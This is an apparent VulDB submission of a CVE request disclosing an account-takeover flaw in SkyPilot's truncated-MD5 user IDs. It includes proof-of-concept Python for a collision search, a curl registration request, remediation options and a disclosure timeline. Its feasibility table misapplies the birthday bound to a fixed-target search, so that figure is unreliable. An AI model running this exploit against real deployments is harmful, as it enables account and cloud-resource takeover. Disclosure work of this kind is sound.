| Titolo | skypilot-org skypilot 0.12.0 Algorithm Downgrade |
|---|
| Descrizione | # CVE Request: SkyPilot User Account Takeover via MD5 Truncation Collision
## 1. Vulnerability Overview
| Field | Value |
|-------|-------|
| **Product** | SkyPilot (https://github.com/skypilot-org/skypilot) |
| **Vendor** | SkyPilot Authors / UC Berkeley Sky Computing Lab |
| **Affected Versions** | <= 1.0.0-dev0 (current master as of 2026-03-26, commit `0320b8c`) |
| **Vulnerability Type** | CWE-328: Use of Weak Hash (Reversible or Colliding) |
| **Secondary CWE** | CWE-916: Use of Password Hash With Insufficient Computational Effort |
| **Additional CWE** | CWE-340: Generation of Predictable Numbers or Identifiers |
| **Attack Vector** | Network (Authenticated — requires ability to register a user) |
| **Impact** | Account Takeover / Privilege Escalation |
| **CVSS 3.1 Score** | **8.1 (High)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |
| **Reporter** | [email protected] |
| **Disclosure Date** | 2026-03-26 |
## 2. Product Description
SkyPilot is an open-source framework for running AI and batch workloads on any cloud (AWS, GCP, Azure, etc.). It provides a multi-user API server (`sky api`) that handles user authentication, cluster lifecycle management, and resource scheduling. The API server supports multi-tenancy where multiple users share the same SkyPilot deployment.
## 3. Vulnerability Description
The SkyPilot API server generates user identifiers by computing a truncated MD5 hash of the username:
```python
# sky/users/server.py, lines 122-123
user_hash = hashlib.md5(username.encode()).hexdigest()[:8]
```
This produces an 8-character hexadecimal string (32 bits of entropy). The user registration flow checks whether the **username** already exists, but does **not** check whether the computed **user ID** is already in use by a different user. When a collision occurs, the database layer silently overwrites the existing user record:
```python
# sky/global_user_state.py, lines 392-430
# INSERT OR IGNORE: if ID exists, insertion is skipped
# Then UPDATE: overwrites name and password for the existing ID
```
An attacker who knows a victim's username can compute the target user ID offline, search for a colliding username (~65,536 attempts expected for 32-bit space), register that colliding username, and thereby overwrite the victim's credentials.
## 4. Affected Source Files
| File | Lines | Role |
|------|-------|------|
| `sky/users/server.py` | 122-123 | User ID generation (single user creation) |
| `sky/users/server.py` | 316-317 | User ID generation (bulk user creation) |
| `sky/global_user_state.py` | 361-440 | `add_or_update_user()` — INSERT OR IGNORE + UPDATE |
| `sky/utils/common_utils.py` | 50 | `USER_HASH_LENGTH = 8` |
## 5. Proof of Concept
### 5.1 Environment Setup
- SkyPilot API server running in multi-user mode
- Victim user "alice" already registered
### 5.2 Step-by-Step Exploitation
#### Step 1: Compute the victim's user ID
```python
import hashlib
target = hashlib.md5(b"alice").hexdigest()[:8]
print(f"Target user_hash: {target}")
# Output: Target user_hash: 6384e2b2
```
#### Step 2: Offline collision search
```python
import hashlib
target = hashlib.md5(b"alice").hexdigest()[:8]
for i in range(10_000_000):
candidate = f"user_{i}"
if hashlib.md5(candidate.encode()).hexdigest()[:8] == target:
print(f"Collision found: '{candidate}' -> {target}")
print(f"Attempts: {i + 1}")
break
```
Expected output (example — actual colliding string may vary):
```
Collision found: 'user_XXXXX' -> 6384e2b2
Attempts: ~50000
```
This runs in under 1 second on commodity hardware.
#### Step 3: Register the colliding username
```bash
curl -X POST https://<skypilot-api-server>/api/users \
-H "Content-Type: application/json" \
-d '{"username": "user_XXXXX", "password": "attacker_password"}'
```
Server-side execution flow:
1. `user_hash = md5(b"user_XXXXX").hexdigest()[:8]` → `"6384e2b2"`
2. `get_user_by_name("user_XXXXX")` → `None` (not "alice", check passes)
3. `add_or_update_user(User(id="6384e2b2", name="user_XXXXX", password=hash("attacker_password")))`
4. `INSERT OR IGNORE` fails (ID `"6384e2b2"` already exists for alice)
5. `UPDATE` executes: alice's record is overwritten with attacker's name and password
#### Step 4: Account takeover confirmed
- Alice can no longer log in (her username no longer exists in the DB)
- The attacker now controls user ID `"6384e2b2"` with all of alice's associated clusters, permissions, and resources
### 5.3 Collision Feasibility Analysis
| Parameter | Value |
|-----------|-------|
| Hash function | MD5 |
| Truncation length | 8 hex characters = 32 bits |
| Search space | 2^32 = 4,294,967,296 |
| Expected attempts (brute force) | ~2^16 = 65,536 (birthday bound) |
| Time on single CPU core | < 1 second |
| Offline capability | Yes (no server interaction needed for search) |
## 6. Impact Assessment
### 6.1 Confidentiality (High)
- Attacker gains access to victim's cloud clusters and any data stored on them
- Attacker can read victim's job logs, configurations, and credentials stored in SkyPilot
### 6.2 Integrity (High)
- Attacker can launch, modify, or terminate clusters under victim's identity
- Attacker can modify victim's permissions and roles
- Attacker can execute arbitrary workloads billed to victim's cloud accounts
### 6.3 Availability (None to Low)
- Victim is locked out of their account (denial of service to that user)
- No broader system-level availability impact
### 6.4 Attack Prerequisites
- Attacker must be able to register a user on the target SkyPilot API server
- Attacker must know or guess the victim's username
- No special privileges or user interaction required
## 7. Suggested Remediation
### Option A: Add ID Collision Check (Minimal Fix)
```python
# sky/users/server.py — before add_or_update_user()
existing_user = global_user_state.get_user(user_hash)
if existing_user and existing_user.name != username:
raise fastapi.HTTPException(
status_code=409,
detail='User ID collision detected. Please choose a different username.')
```
This prevents overwriting but does not eliminate the weak hash.
### Option B: Replace Truncated MD5 with UUID (Recommended)
```python
import uuid
# Replace deterministic hash with random UUID
user_id = uuid.uuid4().hex # 128-bit random, no collision risk
```
This eliminates the collision vector entirely.
### Option C: Use Longer Hash (Alternative)
```python
import hashlib
# SHA-256 truncated to 64 hex chars (256 bits) — collision infeasible
user_hash = hashlib.sha256(username.encode()).hexdigest()
```
## 8. Disclosure Timeline
| Date | Action |
|------|--------|
| 2026-03-26 | Vulnerability discovered through source code audit |
| 2026-03-26 | GitHub issue created (skypilot-org/skypilot#9194) with no technical details |
| 2026-03-26 | CVE request submitted |
| TBD | Vendor acknowledgment |
| TBD | Patch released |
| TBD + 90 days | Full public disclosure (if no response) |
## 9. References
- **Affected Repository:** https://github.com/skypilot-org/skypilot
- **GitHub Issue (no details):** https://github.com/skypilot-org/skypilot/issues/9194
- **CWE-328:** https://cwe.mitre.org/data/definitions/328.html
- **CWE-916:** https://cwe.mitre.org/data/definitions/916.html
- **CWE-340:** https://cwe.mitre.org/data/definitions/340.html
- **MD5 Collision Attacks:** https://www.mscs.dal.ca/~selMDa/papers/md5-collisions.pdf
- **CVSS 3.1 Calculator:** https://www.first.org/cvss/calculator/3.1
## 10. Contact
- **Reporter Email:** [email protected]
- **Preferred Communication:** Email
## 11. CVE Submission Channels
To submit this CVE request, use one of the following:
1. **MITRE CVE Request Form** (for open-source projects without a CNA):
- URL: https://cveform.mitre.org/
- Select "Report a Vulnerability/Request a CVE ID"
- Fill in fields using the information in this document
2. **GitHub CNA** (if the repository enables Security Advisories):
- URL: https://github.com/skypilot-org/skypilot/security/advisories/new
- GitHub will automatically assign a CVE ID upon publication
3. **CERT/CC**:
- URL: https://www.kb.cert.org/vuls/report/
- For cases where the vendor is unresponsive after 90 days
|
|---|
| Utente | Dem0 (UID 82596) |
|---|
| Sottomissione | 26/03/2026 09:38 (3 mesi fa) |
|---|
| Moderazione | 27/06/2026 15:54 (3 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 374479 [skypilot-org skypilot fino a 0.12.0 User ID sky/users/server.py username.encode cifratura debole] |
|---|
| Punti | 17 |
|---|